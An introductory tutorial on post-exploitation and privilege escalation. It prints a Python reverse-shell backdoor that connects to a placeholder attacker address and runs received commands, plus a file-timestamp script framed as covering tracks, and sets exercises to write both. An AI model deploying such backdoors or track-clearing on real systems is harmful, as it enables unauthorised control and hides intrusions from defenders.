Introduction

In this tutorial, we will focus on post-exploitation techniques and privilege escalation. Post-exploitation refers to the steps undertaken after breaking into a system, while privilege escalation is about gaining higher access rights on the system.

By the end of this tutorial, you should be able to understand and apply different post-exploitation methods, as well as escalate privileges on a compromised system.

Prerequisites:
Before starting, you should have a basic understanding of:
- Operating Systems (Linux/Windows)
- Computer Networks
- System vulnerabilities and exploits
- Basic coding skills in Python or any scripting language

Step-by-Step Guide

Post-Exploitation:

Post-exploitation is the stage after successfully exploiting a vulnerability. It involves maintaining access, cleaning tracks, and gathering more information about the system for future exploitation.

Maintaining Access:
To ensure continued access, attackers often plant backdoors on the system. These backdoors can be script-based, service-based, or kernel-based.

Cleaning Tracks:
Attackers usually try to erase their activities to avoid detection. This can be done by clearing logs, changing timestamps of files, or using stealthy techniques to avoid triggering alarms.

Gathering More Information:
The attacker often collects more information about the network or system to exploit further vulnerabilities.

Privilege Escalation:

Privilege escalation is the act of exploiting a bug or design flaw in an application or system to gain access to resources that are normally protected from an application or user.

Vertical Privilege Escalation (Privilege Elevation):
This occurs when a user gets higher privileges than what they are supposed to have.

Horizontal Privilege Escalation:
This is when a user gets the privileges of another user who has the same level of privileges.

Code Examples

Here are some examples of how these techniques can be implemented:

1. Backdoor Script (Python):

import socket
import subprocess

# Create a socket object
s = socket.socket()

# Connect to the attacker's machine
s.connect(('attacker_IP', port))

while True:
    # Receive command from the attacker
    command = s.recv(1024)
    # Execute the command
    output = subprocess.getoutput(command)
    # Send the output back to the attacker
    s.send(output.encode())

This script connects back to the attacker's machine and waits for commands. The attacker can execute any command on the compromised system.

2. Changing File Timestamp (Python):

import os
import time

# Get the current timestamp
now = time.time()

# Change the timestamp of a file
os.utime('/path/to/file', (now, now))

This script changes the access and modification time of a file to the current time.

Summary

In this tutorial, we've covered the basics of post-exploitation techniques and privilege escalation. We've learned how to maintain access, clean tracks, and gather more information after exploiting a system. We've also seen how to escalate privileges.

If you want to deepen your knowledge, we recommend studying about different types of backdoors, ways to evade IDS/IPS, and advanced privilege escalation techniques.

Practice Exercises

1. Write a Python script that connects back to your machine and executes any command that you send. (Backdoor)
2. Write a Python script that changes the timestamp of a file to a specific date and time. (Covering Tracks)

Note: These exercises are for educational purposes only. Never use these techniques on any system without explicit permission.

Additional Resources

1. "Metasploit: The Penetration Tester's Guide" by David Kennedy, Jim O'Gorman, Devon Kearns, Mati Aharoni
2. "Hacking: The Art of Exploitation" by Jon Erickson
3. Privilege Escalation Techniques
4. Post-Exploitation Commands